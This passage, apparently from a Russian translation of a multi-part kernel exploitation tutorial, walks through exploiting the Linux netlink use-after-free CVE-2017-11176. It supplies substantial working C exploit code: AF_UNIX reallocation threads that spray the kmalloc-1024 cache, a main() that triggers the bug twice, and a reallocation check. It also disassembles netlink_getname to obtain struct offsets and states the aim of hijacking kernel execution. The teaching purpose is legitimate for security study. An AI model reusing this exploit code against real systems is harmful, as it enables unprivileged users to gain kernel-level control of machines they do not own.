То есть нужно использовать другой тип сокетов: AF_UNIX. Вероятно, может подойти и какой-то альтернативный вариант, но главное преимущество AF_UNIX в том, что это семейство сокетов присутствует практически в каждой системе и не требует особых привилегий.

Предупреждение: Мы не будем описывать реализацию AF_UNIX (в частности функцию unix_dgram_sendmsg()), поскольку повествование займет слишком много времени. На самом деле, много схожих моментов с сокетами AF_NETLINK, и нам важно понять два аспекта:

· Размещение произвольных данных во «вспомогательном» буфере (см. последний раздел).

· Блокировка вызова unix_dgram_sendmsg().

Как и netlink_unicast(), функция sendmsg() может быть заблокирована, если:

1. Целевой буфер приема полный.

2. Таймаут сокета равен MAX_SCHEDULE_TIMEOUT.

В функции unix_dgram_sendmsg() (как и в netlink_unicast()) значение timeo вычисляется по следующей формуле:

timeo = sock_sndtimeo(sk, msg->msg_flags & MSG_DONTWAIT);

static inline long sock_sndtimeo(const struct sock *sk, int noblock)

{

return noblock ? 0 : sk->sk_sndtimeo;

}

Таким образом, если мы не установим аргумент noblock (т.е. не будем использовать MSG_DONTWAIT), таймаут будет равен sk_sndtimeo. Этим значением можно управлять через функцию setsockopt():

int sock_setsockopt(struct socket *sock, int level, int optname, char __user *optval, unsigned int optlen)

{

struct sock *sk = sock->sk;

// ... cut ...

case SO_SNDTIMEO:

ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);

break;

// ... cut ...

}

Которая вызывает функцию sock_set_timeout():

static int sock_set_timeout(long *timeo_p, char __user *optval, int optlen)

{

struct timeval tv;

if (optlen < sizeof(tv))

return -EINVAL;

if (copy_from_user(&tv, optval, sizeof(tv)))

return -EFAULT;

if (tv.tv_usec < 0 || tv.tv_usec >= USEC_PER_SEC)

return -EDOM;

if (tv.tv_sec < 0) {

// ... cut ...

}

*timeo_p = MAX_SCHEDULE_TIMEOUT; // <-----

if (tv.tv_sec == 0 && tv.tv_usec == 0) // <-----

return 0; // <-----

// ... cut ...

}

В конце если мы вызовем setsockopt() с опцией SO_SNDTIMEO и передадим структуру timeval, заполненную нулями, таймаут будет равен MAX_SCHEDULE_TIMEOUT, и возникнет бесконечная блокировка. Для этой операции не требуется специальных привилегий.

Одна проблема решена.

Вторая проблема заключается в том, нам нужно иметь дело с кодом, который использует данные буфера управления. Этот код отрабатывает на очень ранней стадии в функции unix_dgram_sendmsg():

static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock, struct msghdr *msg, size_t len)

{

struct sock_iocb *siocb = kiocb_to_siocb(kiocb);

struct sock *sk = sock->sk;

// ... cut (lots of declaration) ...

if (NULL == siocb->scm)

siocb->scm = &tmp_scm;

wait_for_unix_gc();

err = scm_send(sock, msg, siocb->scm, false); // <----- here

if (err < 0)

return err;

// ... cut ...

}

Мы уже прошли эту проверку во второй части, но сейчас появилось нечто другое:

static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,

struct scm_cookie *scm, bool forcecreds)

{

memset(scm, 0, sizeof(*scm));

if (forcecreds)

scm_set_cred(scm, task_tgid(current), current_cred());

unix_get_peersec_dgram(sock, scm);

if (msg->msg_controllen <= 0) // <----- this is NOT true anymore

return 0;

return __scm_send(sock, msg, scm);

}

Поскольку сейчас мы используем буфер msg_control (то есть msg_controllen больше нуля), то не можем обойти вызов __scm_send(), а значит эта функция должна вернуть 0.

Переходим к рассмотрению структуры объекта, связанного со вспомогательными данными:

struct cmsghdr {

__kernel_size_t cmsg_len; /* data byte count, including hdr */

int cmsg_level; /* originating protocol */

int cmsg_type; /* protocol-specific type */

};

Эта структура данных размером 16 байт, которая должна быть расположена в самом начале буфера msg_control (куда мы помещаем произвольные данные). Назначение этой структуры зависит от типа сокета. Можно рассматривать эту структуру как инструмент, чтобы «сделать что-то особенное» с сокетом. Например, в случае с UNIX-сокетом можно передать «учетные данные» через сокет.

Буфер управляющих сообщений (msg_control) может хранить одно или более управляющих сообщений. Каждое управляющее сообщение содержит заголовок и данные.

Заголовок первого управляющего сообщения извлекается при помощи макроса CMSG_FIRSTHDR():

#define CMSG_FIRSTHDR(msg) __CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen)

#define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \

(struct cmsghdr *)(ctl) : \

(struct cmsghdr *)NULL)

Таким образом, проверяется, больше ли значение msg_controllen, чем 16 байт. Если нет, тогда буфер управляющего сообщения даже не содержит заголовок сообщение! В этом случае возвращается NULL. Иначе возвращается начальный адрес первого управляющего сообщения (msg_control).

Чтобы найти следующее управляющее сообщение, нужно использовать макрос CMG_NXTHDR(), который предназначен для получения стартового адреса заголовка следующего управляющего сообщения:

#define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg))

static inline struct cmsghdr * cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg)

{

return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg);

}

static inline struct cmsghdr * __cmsg_nxthdr(void *__ctl, __kernel_size_t __size,

struct cmsghdr *__cmsg)

{

struct cmsghdr * __ptr;

__ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) + CMSG_ALIGN(__cmsg->cmsg_len));

if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)

return (struct cmsghdr *)0;

return __ptr;

}

Этот макрос на самом деле не так сложен, как кажется на первый взгляд! На входе принимается адрес заголовка текущего управляющего сообщения cmsg и добавляются байты в количестве cmsg_len, указанные в заголовке текущего управляющего сообщения (плюс некоторое выравнивание, если необходимо). Если «следующий заголовок» превышает общий размер буфера управляющего сообщения, предполагается, что заголовков больше нет, и возвращается NULL. В противном случае возвращается вычисленный указатель (на следующий заголовок).

Будьте внимательны! cmsg_len равен размеру управляющего сообщения и заголовка этого сообщения!

Кроме того, существует макрос CMSG_OK(), который предназначен для проверки, чтобы размер управляющего сообщения (cmsg_len) был не более общего размера буфера управляющего сообщения:

#define CMSG_OK(mhdr, cmsg) ((cmsg)->cmsg_len >= sizeof(struct cmsghdr) && \

(cmsg)->cmsg_len <= (unsigned long) \

((mhdr)->msg_controllen - \

((char *)(cmsg) - (char *)(mhdr)->msg_control)))

Теперь рассмотрим код функции __scm_send(), которая в итоге делает нечто полезное с управляющими сообщениями:

int __scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *p)

{

struct cmsghdr *cmsg;

int err;

[0] for (cmsg = CMSG_FIRSTHDR(msg); cmsg; cmsg = CMSG_NXTHDR(msg, cmsg))

{

err = -EINVAL;

[1] if (!CMSG_OK(msg, cmsg))

goto error;

[2] if (cmsg->cmsg_level != SOL_SOCKET)

continue;

// ... cut (skipped code) ...

}

// ... cut ...

[3] return 0;

error:

scm_destroy(p);

return err;

}

Наша цель – сделать так, чтобы функция __scm_send() вернула 0 [3]. Поскольку в msg_controllen хранится размер переразмещения (1024 байта), мы попадаем в цикл [0] (т.е. CMSG_FIRSTHDR(msg) != NULL).

Из-за условия [1] значение в заголовке первого управляющего сообщения должно быть корректным. Мы установили это значение равным 1024 (размер полного буфера управляющего сообщения). Затем, указав значение отличное от SOL_SOCKET (равное 1), мы можем пропустить цикл [2]. Таким образом, макрос CMSG_NXTHDR() будет искать следующее управляющее сообщение, а поскольку cmsg_len равно msg_controllen (т.е. у нас есть только ОДНО управляющее сообщение), в переменную cmsg будет установлено NULL, произойдет изящный выход из цикла и возврат нуля [3]!

Другими словами, используя это переразмещение, мы:

  • Не можем управлять первыми 8 байтами буфера переразмещения (общий размер равен 1024 байта).

  • Имеем ограничение во втором поле управляющего заголовка cmsg (это значение не должно быть равным единице).

  • Можем использовать как последние 4 байта заголовка, так и остальные 1008 байт.

Рисунок 7: Структура буфера переразмещения

Теперь у нас есть все условия, чтобы переразместить кэш kmalloc‑1024 с практически произвольными данными. Перед тем как приступить к реализации нашей стратегии, коротко рассмотрим потенциальные подводные камни.

Возможные проблемы

Когда мы только начали рассматривать тему переразмещения, то упоминали идеальный сценарий (т.е. наибыстрейшую ветвь выполнения кода). Однако, что произойдет, если будет отработан другой сценарий? Могут возникнуть проблемы…

Предупреждение: Мы не будем рассматривать все сценарии выполнения функций kmalloc()/kfree(). Предполагается, что вы уже понимаете, как работает аллокатор.

Например, предположим, что объект netlink_sock готовится к освобождению:

1. Если array_cache полный, будет вызвана функция cache_flusharray(), которая установит (если вообще установит) в свободный указатель batchcount указатель на совместно используемый array_cache из узла и вызовет free_block(). Таким образом, в втором по быстроте сценарии выполнения функции kmalloc() не будет повторно использоваться последний освобожденный объект, и алгоритм LIFO нарушится.

2. Если последний «используемый» объект освобождается в смешанном списке slab’ов, то этот объект перемещается в список slabs_free.

3. Если в кэше уже «слишком много» свободных объектов, список со свободными slab’ами уничтожается (т.е. страницы отдаются обратно buddy аллокатору)!

4. Buddy аллокатор может инициировать уплотнение (как насчет по-процессорных страниц памяти?) и переходит в режим ожидания.

5. Планировщик решил переместить вашу задачу в другой процессор, и array_cache является по-процессорным.

6. Система (не из-за вас) на данный момент испытывает недостаток памяти и пытается затребовать память обратно от каждой подсистемы/аллокатора и так далее.

Можно рассмотреть другие сценарии выполнения, но все сходится к функции kmalloc(). Все вышеуказанные проблемы рассматриваются в условиях, когда ваша задача является единственной в системе, что, как вы понимаете, маловероятно.

Существуют и другие задачи (в том числе на уровне ядра), которые параллельно используют кэш kmalloc‑1024. Вы участвуете «в гонке», которую можете проиграть.

Например, вы только что освободили объект netlink_sock, но затем другая задача также освободила объект kmalloc‑1024. Таким образом, вам нужно сделать двойное размещение, чтобы затем переразместить netlink_sock (вспоминаем алгоритм LIFO). Однако может случиться так, что другая задача вас перегонит и «украдет» этот объект. То есть вы не сможете сделать переразмещение до тех пор, пока та же задача не сделает возврат украденного (и не переедет в другой процессор). Однако здесь возникает новый вопрос, как узнать о краже.

Короче говоря, может возникнуть много разных проблем. Промежуток между освобождением объекта netlink_sock и до повторного размещения является наиболее критическим звеном эксплоита. К сожалению, мы не можем рассмотреть все возможные проблемы в рамках одной статьи. Чтобы учесть все моменты, потребуется более продвинутый эксплоит и более глубокие знания ядра. Надежное переразмещение – довольно сложная тема.

Однако давайте рассмотрим две базовые техники для решения некоторых вышеуказанных проблем:

1. Фиксация процессора при помощи системного вызова sched_setaffinity(). Поскольку array_cache является по-процессорной структурой данных, если в самом начале эксплоита установить маску на один процессор, то вы гарантируете, что будет использоваться один и тот же array_cache во время освобождения и переразмещения.

2. Распыление кучи (Heap Spraying). При переразмещении «больших объемов» у нас есть шанс переразместить объект netlink_sock, даже если другие задачи освободят некоторые объекты kmalloc‑1024. Кроме того, если slab объекта netlink_sock переносится в конец списка свободных slab’ов, мы пытаемся разместить все объекты до тех пор, пока не возникнет вызов функции cache_grow(). Хотя эта схема исключительно на удачу (помните о базовой технике).

Подробности реализации этих методов смотрите в коде ниже.

Новая надежда

Сильно напряглись после прочтения последнего раздела? Не беспокойтесь. В этот раз удача на нашей стороне. Эксплуатируемая структура netlink_sock находится в кэше kmalloc‑1024, который не так часто используется ядром. Эту гипотезу можно проверить при помощи «Метода №5», рассмотренного выше, (детектирование размера объекта), посмотрев размеры объектов кэшей общего назначения:

watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'

Статистика, полученная при помощи команды выше, подтверждает нашу гипотезу. Если посмотреть на объекты «kmalloc‑256», «kmalloc‑192», «kmalloc‑64», можно увидеть, что эти кэши являются плохими кандидатами для реализации нашей затеи, поскольку эти размеры являются наиболее распространенными в ядре. Эксплуатация UAF в этих кэшах может быстро перерасти в настоящий кошмар. Конечно, активность в объектах kmalloc зависит от целевой системы и запущенных процессах, но кэши «kmalloc‑256», «kmalloc‑192», «kmalloc‑64» являются нестабильными практически во всех системах.

Реализация переразмещения

Возвращаемся к нашему концептуальному коду и начинаем реализацию переразмещения.

Начнем с решения проблем с array_cache посредством перемещения всех потоков в CPU#0:

static int migrate_to_cpu0(void)

{

cpu_set_t set;

CPU_ZERO(&set);

CPU_SET(0, &set);

if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1)

{

perror("[-] sched_setaffinity");

return -1;

}

return 0;

}

Затем нужно проверить, что мы можем использовать примитив «буфера вспомогательных данных». Проверку будем делать, используя значение optmem_max (через procfs):

static bool can_use_realloc_gadget(void)

{

int fd;

int ret;

bool usable = false;

char buf[32];

if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0)

{

perror("[-] open");

// TODO: fallback to sysctl syscall

return false; // we can't conclude, try it anyway or not ?

}

memset(buf, 0, sizeof(buf));

if ((ret = _read(fd, buf, sizeof(buf))) <= 0)

{

perror("[-] read");

goto out;

}

printf("[ ] optmem_max = %s", buf);

if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache

usable = true;

out:

_close(fd);

return usable;

}

Следующий шаг: подготовка буфера управляющего сообщения. Обратите внимание, что переменная g_realloc_data объявлена глобально. Соответственно, у каждого потока есть доступ к этой переменной. С учетом рассуждений в предыдущий разделах выставляем в поля объекта cmsg:

#define KMALLOC_TARGET 1024

static volatile char g_realloc_data[KMALLOC_TARGET];

static int init_realloc_data(void)

{

struct cmsghdr *first;

memset((void*)g_realloc_data, 0, sizeof(g_realloc_data));

// necessary to pass checks in __scm_send()

first = (struct cmsghdr*) g_realloc_data;

first->cmsg_len = sizeof(g_realloc_data);

first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg

first->cmsg_type = 1; // <---- ARBITRARY VALUE

// TODO: do something useful will the remaining bytes (i.e. arbitrary call)

return 0;

}

Поскольку переразмещение будет происходить через AF_UNIX, нужно подготовить эти сокеты. Мы будем создавать пару абстрактных сокетов (man 7 unix) для каждого потока, участвующего в переразмещении. Таким образом, адрес этих сокетов будет начинаться с пустого байта («@» в netstat). Создание именно таких сокетов не обязательно, но предпочтительно. Отправляющий сокет подключается к принимающему сокету, после чего таймаут устанавливается равным MAX_SCHEDULE_TIMEOUT при помощи функции setsockopt():

struct realloc_thread_arg

{

pthread_t tid;

int recv_fd;

int send_fd;

struct sockaddr_un addr;

};

static int init_unix_sockets(struct realloc_thread_arg * rta)

{

struct timeval tv;

static int sock_counter = 0;

if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||

((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))

{

perror("[-] socket");

goto fail;

}

// bind an "abstract" socket (first byte is NULL)

memset(&rta->addr, 0, sizeof(rta->addr));

rta->addr.sun_family = AF_UNIX;

sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter);

if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))

{

perror("[-] bind");

goto fail;

}

if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))

{

perror("[-] connect");

goto fail;

}

// set the timeout value to MAX_SCHEDULE_TIMEOUT

memset(&tv, 0, sizeof(tv));

if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)))

{

perror("[-] setsockopt");

goto fail;

}

return 0;

fail:

// TODO: release everything

printf("[-] failed to initialize UNIX sockets!\n");

return -1;

}

Потоки, участвующие в переразмещении, инициализируются при помощи функции init_reallocation():

static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs)

{

int thread = 0;

int ret = -1;

if (!can_use_realloc_gadget())

{

printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n");

goto fail;

}

printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n");

if (init_realloc_data())

{

printf("[-] failed to initialize reallocation data!\n");

goto fail;

}

printf("[+] reallocation data initialized!\n");

printf("[ ] initializing reallocation threads, please wait...\n");

for (thread = 0; thread < nb_reallocs; ++thread)

{

if (init_unix_sockets(&rta[thread]))

{

printf("[-] failed to init UNIX sockets!\n");

goto fail;

}

if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)

{

perror("[-] pthread_create");

goto fail;

}

}

// wait until all threads have been created

while (g_nb_realloc_thread_ready < nb_reallocs)

_sched_yield(); // don't run me, run the reallocator threads!

printf("[+] %lu reallocation threads ready!\n", nb_reallocs);

return 0;

fail:

printf("[-] failed to initialize reallocation\n");

return -1;

}

После активации поток, участвующий в переразмещении, подготавливает отправляющий сокет для блокировки. Вначале в буфер приема принимающего сокета устанавливается флаг MSG_DONTWAIT (неблокирующий), а далее происходит блокировка до того момента, пока не начнется переразмещение:

static volatile size_t g_nb_realloc_thread_ready = 0;

static volatile size_t g_realloc_now = 0;

static void* realloc_thread(void *arg)

{

struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;

struct msghdr mhdr;

char buf[200];

// initialize msghdr

struct iovec iov = {

.iov_base = buf,

.iov_len = sizeof(buf),

};

memset(&mhdr, 0, sizeof(mhdr));

mhdr.msg_iov = &iov;

mhdr.msg_iovlen = 1;

// the thread should inherit main thread cpumask, better be sure and redo-it!

if (migrate_to_cpu0())

goto fail;

// make it block

while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)

;

if (errno != EAGAIN)

{

perror("[-] sendmsg");

goto fail;

}

// use the arbitrary data now

iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue

mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer

mhdr.msg_controllen = sizeof(g_realloc_data);

g_nb_realloc_thread_ready++;

while (!g_realloc_now) // spinlock until the big GO!

;

// the next call should block while "reallocating"

if (_sendmsg(rta->send_fd, &mhdr, 0) < 0)

{

perror("[-] sendmsg");

goto fail;

}

return NULL;

fail:

printf("[-] REALLOC THREAD FAILURE!!!\n");

return NULL;

}

Потоки, участвующие в переразмещении, блокируются спинлоками через переменную g_realloc_now до тех пор, пока главный поток не даст команду на переразмещение при помощи функции realloc_NOW() (важно, чтобы эта функция оставалась встроенной):

// keep this inlined, we can't loose any time (critical path)

static inline __attribute__((always_inline)) void realloc_NOW(void)

{

g_realloc_now = 1;

_sched_yield(); // don't run me, run the reallocator threads!

sleep(5);

}

Системный вызов sched_yield() перемещает главный поток в конец очереди. Следующий поток, запланированный к выполнению, будет один из наших потоков, участвующих в переразмещении. То есть «гонка» будет выиграна.

Наконец, переходим к функции main():

int main(void)

{

int sock_fd = -1;

int sock_fd2 = -1;

int unblock_fd = 1;

struct realloc_thread_arg rta[NB_REALLOC_THREADS];

printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

if (migrate_to_cpu0())

{

printf("[-] failed to migrate to CPU#0\n");

goto fail;

}

printf("[+] successfully migrated to CPU#0\n");

memset(rta, 0, sizeof(rta));

if (init_reallocation(rta, NB_REALLOC_THREADS))

{

printf("[-] failed to initialize reallocation!\n");

goto fail;

}

printf("[+] reallocation ready!\n");

if ((sock_fd = prepare_blocking_socket()) < 0)

goto fail;

printf("[+] netlink socket created = %d\n", sock_fd);

if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))

{

perror("[-] dup");

goto fail;

}

printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

// trigger the bug twice AND immediatly realloc!

if (decrease_sock_refcounter(sock_fd, unblock_fd) ||

decrease_sock_refcounter(sock_fd2, unblock_fd))

{

goto fail;

}

realloc_NOW();

printf("[ ] ready to crash?\n");

PRESS_KEY();

close(unblock_fd);

printf("[ ] are we still alive ?\n");

PRESS_KEY();

// TODO: exploit

return 0;

fail:

printf("[-] exploit failed!\n");

PRESS_KEY();

return -1;

}

Можно запустить эксплоит прямо сейчас, но ничего полезного не произойдет, поскольку все так же случайным образом возникает крах во время вызова netlink_release(). В следующем разделе мы исправим эту проблему.

Эксплуатация (Произвольный вызов)

«Там, где возникает желание, возникает способ…»

В предыдущих разделах мы:

· Рассмотрели основы переразмещения и несоответствие типов.

· Получили информацию о нашей уязвимости UAF и идентифицировали висячие указатели.

· Разобрались, как активировать/управлять UAF тогда, когда мы захотим.

· Реализовали переразмещение!

Настало время собрать все воедино и перейти к полноценной эксплуатации UAF. Не забываем главное:

Конечная задача – получить контроль над потоком выполнения ядра.

Как и в любой программе, потоком выполнения ядра управляет указатель команд: RIP (amd64) или PC (arm).

В первой части в разделе «Базовые концепции» было упомянуто, что в ядре есть таблица виртуальных функций (VFT) и указатели функций, чтобы достичь некоторой универсальности. Перезапись таблицы и указателей позволит нам получить контроль над потоком выполнения, чем мы и займемся далее.

Ворота к примитивам

Вернемся к нашим UAF-примитивам. В предыдущем разделе было показано, что можно управлять (или активировать) UAF при помощи вызова close(unblock_fd). Кроме того, поле sk структуры socket является висячим указателем. Эти две сущности связаны через таблицы виртуальных функций:

· Структура socket_file_ops (прототип file_operations): системный вызов close() связан с sock_close().

· Структура netlink_ops (прототип proto_ops): функция sock_close() связана с netlink_release(), которая в свою очередь интенсивно использует поле sk.

Эти таблицы являются воротами к нашим примитивам: каждый UAF-примитив начинается с одного из этих указателей функций.

Однако мы не можем управлять этими указателями напрямую. Причина заключается в том, что освобождается объект netlink_sock. Между тем, указатели на эти таблицы хранятся в структуре file и socket соответственно. Мы будем эксплуатировать примитив, который дают эти таблицы.

Например, рассмотрим функцию netlink_getname() (из структуры netlink_ops), до которой можно добраться довольно быстро:

- SYSCALL_DEFINE3(getsockname, ...) // calls sock->ops->getname()

- netlink_getname()

static int netlink_getname(struct socket *sock, struct sockaddr *addr, int *addr_len, int peer)

{

struct sock *sk = sock->sk; // <----- DANGLING POINTER

struct netlink_sock *nlk = nlk_sk(sk); // <----- DANGLING POINTER

struct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr; // <----- will be transmitted to userland

nladdr->nl_family = AF_NETLINK;

nladdr->nl_pad = 0;

*addr_len = sizeof(*nladdr);

if (peer) { // <----- set to zero by getsockname() syscall

nladdr->nl_pid = nlk->dst_pid;

nladdr->nl_groups = netlink_group_mask(nlk->dst_group);

} else {

nladdr->nl_pid = nlk->pid; // <----- uncontrolled read primitive

nladdr->nl_groups = nlk->groups ? nlk->groups[0] : 0; // <----- uncontrolled read primitive

}

return 0;

}

Прекрасно. Обнаружился «неуправляемый примитив для чтения» (два акта чтения без побочных эффектов). Мы будем использовать этот примитив для улучшения надежности, чтобы определить, что переразмещение прошло успешно.

Проверка переразмещения

Попробуем поиграться с ранее обнаруженными примитивами и реализовать проверку на предмет успешности переразмещения. План будет следующим:

· Найти точные смещения для nlk‑>pid и nlk‑>groups.

· Записать магическое значение в «область данных переразмещения» (т.е. init_realloc_data()).

· Вызывать системный вызов getsockname() и проверить возвращаемое значение.

Если возвращенный адрес совпадет с нашим магическим значением, значит, переразмещение работает, и нам удалась эксплуатация первого UAF-примитива (неуправляемое чтение)! Однако у вас не всегда будет возможность проверить, сработало ли перемещение.

Чтобы найти смещения полей nlk‑>pid и nlk‑>groups, понадобится несжатый образ ядра. Если вы не знаете, как достать нужный бинарный файл, ознакомьтесь с этим руководством. Также понадобится файл «/boot/System.map‑$(uname ‑r)». Если по каким-то причинам у вас нет доступа к System.map, в файле «/proc/kallsyms» можно получить ту же самую информацию (потребуются права суперпользователя).

Теперь мы готовы дизассемблировать ядро, которое, по сути, представляет собой бинарный файл в формате ELF. То есть мы можем использовать objdump и другие утилиты из пакета binutils.

Как упоминалось выше, наша задача – найти точные смещения для nlk‑>pid и nlk‑>groups, поскольку эти поля используются в функции netlink_getname(). Адрес netlink_getname() ищем в файле System.map:

$ grep "netlink_getname" System.map-2.6.32

ffffffff814b6ea0 t netlink_getname

В нашем случае функция netlink_getname() будет загружаться по адресу 0xffffffff814b6ea0.

Примечание: Предполагается, что защита KASLR отключена.

Далее открываем файл vmlinux (не vmlinuZ!) при помощи утилиты для дизассемблирования и анализируем функцию netlink_getname().

ffffffff814b6ea0: 55 push rbp

ffffffff814b6ea1: 48 89 e5 mov rbp,rsp

ffffffff814b6ea4: e8 97 3f b5 ff call 0xffffffff8100ae40

ffffffff814b6ea9: 48 8b 47 38 mov rax,QWORD PTR [rdi+0x38]

ffffffff814b6ead: 85 c9 test ecx,ecx

ffffffff814b6eaf: 66 c7 06 10 00 mov WORD PTR [rsi],0x10

ffffffff814b6eb4: 66 c7 46 02 00 00 mov WORD PTR [rsi+0x2],0x0

ffffffff814b6eba: c7 02 0c 00 00 00 mov DWORD PTR [rdx],0xc

ffffffff814b6ec0: 74 26 je 0xffffffff814b6ee8

ffffffff814b6ec2: 8b 90 8c 02 00 00 mov edx,DWORD PTR [rax+0x28c]

ffffffff814b6ec8: 89 56 04 mov DWORD PTR [rsi+0x4],edx

ffffffff814b6ecb: 8b 88 90 02 00 00 mov ecx,DWORD PTR [rax+0x290]

ffffffff814b6ed1: 31 c0 xor eax,eax

ffffffff814b6ed3: 85 c9 test ecx,ecx

ffffffff814b6ed5: 74 07 je 0xffffffff814b6ede

ffffffff814b6ed7: 83 e9 01 sub ecx,0x1

ffffffff814b6eda: b0 01 mov al,0x1

ffffffff814b6edc: d3 e0 shl eax,cl

ffffffff814b6ede: 89 46 08 mov DWORD PTR [rsi+0x8],eax

ffffffff814b6ee1: 31 c0 xor eax,eax

ffffffff814b6ee3: c9 leave

ffffffff814b6ee4: c3 ret

ffffffff814b6ee5: 0f 1f 00 nop DWORD PTR [rax]

ffffffff814b6ee8: 8b 90 88 02 00 00 mov edx,DWORD PTR [rax+0x288]

ffffffff814b6eee: 89 56 04 mov DWORD PTR [rsi+0x4],edx

ffffffff814b6ef1: 48 8b 90 a0 02 00 00 mov rdx,QWORD PTR [rax+0x2a0]

ffffffff814b6ef8: 31 c0 xor eax,eax

ffffffff814b6efa: 48 85 d2 test rdx,rdx

ffffffff814b6efd: 74 df je 0xffffffff814b6ede

ffffffff814b6eff: 8b 02 mov eax,DWORD PTR [rdx]

ffffffff814b6f01: 89 46 08 mov DWORD PTR [rsi+0x8],eax

ffffffff814b6f04: 31 c0 xor eax,eax

ffffffff814b6f06: c9 leave

ffffffff814b6f07: c3 ret

Разобьем ассемблерный код выше на небольшие промежутки и сопоставим с высокоуровневой версией функции netlink_getname(). Если вы не знакомы с System V ABI, с данной спецификацией можно ознакомиться по этой ссылке. Самое главное нужно обратить внимание на порядок следования аргументов (всего у нас 4 параметра):

1. rdi: struct socket *sock

2. rsi: struct sockaddr *addr

3. rdx: int *addr_len

4. rcx: int peer

Вначале у нас идет вызов 0xffffffff8100ae40 без каких-либо операций (см. дизассемблированную версию):

ffffffff814b6ea0: 55 push rbp

ffffffff814b6ea1: 48 89 e5 mov rbp,rsp

ffffffff814b6ea4: e8 97 3f b5 ff call 0xffffffff8100ae40 // <---- NOP

Далее идет общий код для всех последующих сценариев выполнения:

ffffffff814b6ea9: 48 8b 47 38 mov rax,QWORD PTR [rdi+0x38] // retrieve "sk"

ffffffff814b6ead: 85 c9 test ecx,ecx // test "peer" value

ffffffff814b6eaf: 66 c7 06 10 00 mov WORD PTR [rsi],0x10 // set "AF_NETLINK"

ffffffff814b6eb4: 66 c7 46 02 00 00 mov WORD PTR [rsi+0x2],0x0 // set "nl_pad"

ffffffff814b6eba: c7 02 0c 00 00 00 mov DWORD PTR [rdx],0xc // sizeof(*nladdr)

Затем, в зависимости от значения peer, возможны варианты:

ffffffff814b6ec0: 74 26 je 0xffffffff814b6ee8 // "if (peer)"

Если peer не равна нулю (не наш случай), то дальнейший код можно проигнорировать за исключением последней части:

ffffffff814b6ec2: 8b 90 8c 02 00 00 mov edx,DWORD PTR [rax+0x28c] // ignore

ffffffff814b6ec8: 89 56 04 mov DWORD PTR [rsi+0x4],edx // ignore

ffffffff814b6ecb: 8b 88 90 02 00 00 mov ecx,DWORD PTR [rax+0x290] // ignore

ffffffff814b6ed1: 31 c0 xor eax,eax // ignore

ffffffff814b6ed3: 85 c9 test ecx,ecx // ignore

ffffffff814b6ed5: 74 07 je 0xffffffff814b6ede // ignore

ffffffff814b6ed7: 83 e9 01 sub ecx,0x1 // ignore

ffffffff814b6eda: b0 01 mov al,0x1 // ignore

ffffffff814b6edc: d3 e0 shl eax,cl // ignore

ffffffff814b6ede: 89 46 08 mov DWORD PTR [rsi+0x8],eax // set "nladdr->nl_groups"

ffffffff814b6ee1: 31 c0 xor eax,eax // return code == 0

ffffffff814b6ee3: c9 leave

ffffffff814b6ee4: c3 ret

ffffffff814b6ee5: 0f 1f 00 nop DWORD PTR [rax]

В итоге остается следующий простой блок:

ffffffff814b6ee8: 8b 90 88 02 00 00 mov edx,DWORD PTR [rax+0x288] // retrieve "nlk->pid"

ffffffff814b6eee: 89 56 04 mov DWORD PTR [rsi+0x4],edx // give it to "nladdr->nl_pid"

ffffffff814b6ef1: 48 8b 90 a0 02 00 00 mov rdx,QWORD PTR [rax+0x2a0] // retrieve "nlk->groups"

ffffffff814b6ef8: 31 c0 xor eax,eax

ffffffff814b6efa: 48 85 d2 test rdx,rdx // test if "nlk->groups" it not NULL

ffffffff814b6efd: 74 df je 0xffffffff814b6ede // if so, set "nl_groups" to zero

ffffffff814b6eff: 8b 02 mov eax,DWORD PTR [rdx] // otherwise, deref first value of "nlk->groups"

ffffffff814b6f01: 89 46 08 mov DWORD PTR [rsi+0x8],eax // ...and put it into "nladdr->nl_groups"

ffffffff814b6f04: 31 c0 xor eax,eax // return code == 0

ffffffff814b6f06: c9 leave

ffffffff814b6f07: c3 ret

Теперь у нас есть все необходимое:

· Для nlk‑>pid структуры netlink_sock смещение равно 0x288.

· Для nlk‑>groups структуры netlink_sock смещение равно 0x2a0.

Чтобы проверить, успешно ли произошло переразмещение, устанавливаем поле pid равным «0x11a5dcee» (произвольное значение), а поле groups равным нулю (иначе произойдет разыменование). Устанавливаем эти значение в массиве с произвольными данными (g_realloc_data):

#define MAGIC_NL_PID 0x11a5dcee

#define MAGIC_NL_GROUPS 0x0

// target specific offset

